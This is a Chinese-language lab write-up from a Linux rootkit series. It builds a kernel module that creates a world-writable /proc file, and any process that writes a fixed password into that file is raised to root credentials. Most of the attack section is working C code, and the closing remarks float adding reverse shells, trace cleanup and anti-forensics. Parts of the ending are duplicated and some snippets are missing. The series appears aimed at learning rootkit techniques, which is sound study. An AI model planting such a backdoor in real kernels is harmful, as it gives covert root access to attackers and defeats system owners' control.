Linux Rootkit实验|0201 基本功能之Root后门
11 May 2017
文章目录
- Linux Rootkit实验|0201 基本功能之Root后门
- 实验说明
- 实验环境
- 实验过程
- 提供 root 后门
- 实验总结与思考
- 参考资料
- 参考资料
时人不识凌云木,直待凌云始道高。
实验说明
本次实验将初步实现rootkit的基本功能:
- 阻止其他内核模块加载
- 提供root后门
- 隐藏文件
- 隐藏进程
- 隐藏端口
- 隐藏内核模块
本次实验基于01实验中学习的挂钩技术。
注:由于本次实验内容过多,故分为00
到05
六个实验报告分别讲解。
本节实现“提供 root 后门”功能
实验环境
uname -a:
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/LinuxGCC version:6.1.1
上述环境搭建于虚拟机,另外在没有特殊说明的情况下,均以root权限执行。
注:后面实验参考的是4.10.10的源码
实验过程
提供 root 后门
这个后门参考之前很火的“全志科技”使用的代码。
简单来说,是这样:我们在/proc
下创建一个文件,任何进程往其中写入特定的口令,我们就把它提升为root
权限(把uid
和euid
等设为0
)。
这个文件可以用本系列后面的“隐藏文件”实验的方法隐藏掉。
使用到的 API 是proc_create
和proc_remove
:
// include/linux/proc_fs.h
// 参数分别是:文件名/访问模式/父目录/文件操作函数结构体
static inline struct proc_dir_entry *proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent,const struct file_operations *proc_fops)
{return proc_create_data(name, mode, parent, proc_fops, NULL);
}
// fs/proc/generic.c
void proc_remove(struct proc_dir_entry *de)
{if (de)remove_proc_subtree(de->name, de->parent);
}
我们跟进看一下struct file_operations
:
// include/linux/fs.h
struct file_operations {struct module *owner;loff_t (*llseek) (struct file *, loff_t, int);ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);int (*iterate) (struct file *, struct dir_context *);int (*iterate_shared) (struct file *, struct dir_context *);unsigned int (*poll) (struct file *, struct poll_table_struct *);long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);long (*compat_ioctl) (struct file *, unsigned int, unsigned long);int (*mmap) (struct file *, struct vm_area_struct *);int (*open) (struct inode *, struct file *);int (*flush) (struct file *, fl_owner_t id);int (*release) (struct inode *, struct file *);int (*fsync) (struct file *, loff_t, loff_t, int datasync);int (*fasync) (int, struct file *, int);int (*lock) (struct file *, int, struct file_lock *);ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);int (*check_flags)(int);int (*flock) (struct file *, int, struct file_lock *);ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);int (*setlease)(struct file *, long, struct file_lock **, void **);long (*fallocate)(struct file *file, int mode, loff_t offset,loff_t len);void (*show_fdinfo)(struct seq_file *m, struct file *f);
#ifndef CONFIG_MMUunsigned (*mmap_capabilities)(struct file *);
#endifssize_t (*copy_file_range)(struct file *, loff_t, struct file *,loff_t, size_t, unsigned int);int (*clone_file_range)(struct file *, loff_t, struct file *, loff_t,u64);ssize_t (*dedupe_file_range)(struct file *, u64, u64, struct file *,u64);
};
其中是各种函数指针。我们目前只用到写操作处理函数:
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
下面开始行动!
// 声明写处理函数并放入结构体
ssize_t
write_handler(struct file * filp, const char __user *buff,size_t count, loff_t *offp);struct file_operations proc_fops = {.write = write_handler
};// 定义写处理函数
#define AUTH "00100011F"
ssize_t
write_handler(struct file * filp, const char __user *buff,size_t count, loff_t *offp)
{char *kbuff;struct cred* cred;// 分配内存。kbuff = kmalloc(count + 1, GFP_KERNEL);if (!kbuff) {return -ENOMEM;}// 复制到内核缓冲区。if (copy_from_user(kbuff, buff, count)) {kfree(kbuff);return -EFAULT;}kbuff[count] = (char)0;if (strlen(kbuff) == strlen(AUTH) &&strncmp(AUTH, kbuff, count) == 0) {// 用户进程写入的内容是我们的口令或者密码,// 把进程的 ``uid`` 与 ``gid`` 等等// 都设置成 ``root`` 账号的,将其提权到 ``root``。printk("%s\n", "Comrade, I will help you.");cred = (struct cred *)__task_cred(current);cred->uid = cred->euid = cred->fsuid = GLOBAL_ROOT_UID;cred->gid = cred->egid = cred->fsgid = GLOBAL_ROOT_GID;printk("%s\n", "See you!");} else {// 密码错误,拒绝提权。printk("Alien, get out of here: %s.\n", kbuff);}kfree(kbuff);return count;
}
最后,添加全局变量struct proc_dir_entry *entry
,并分别在入口函数/出口函数中创建/删除我们的文件:
#define NAME "JUSTFORFUN"
struct proc_dir_entry *entry;
// in init
entry = proc_create(NAME, S_IRUGO | S_IWUGO, NULL, &proc_fops);
// in exit
proc_remove(entry);
测试结果如下:
实验总结与思考
- 内核中的事情,真的是要细心。顺着FreeBuf的文章往下看时,
kbuff = kmalloc(count, GFP_KERNEL);
这个地方少分配了一个尾零。事实上应该是kbuff = kmalloc(count + 1, GFP_KERNEL);
- 另外注意,是:
而不是:
- 个人以为rootkit应该提供一个能够远程连接的root shell(对于内网的机器,用reverse shell是不是更好),并具备痕迹清理、自我删除甚至更强的反取证功能(另外,是否需要隐藏当前登录用户?)
参考资料
已参考
- allwinner-zh/linux-3.4-sunxi
拓展阅读
录用户?)
参考资料
已参考
- allwinner-zh/linux-3.4-sunxi
拓展阅读
- This is what a root debug backdoor in a Linux kernel looks like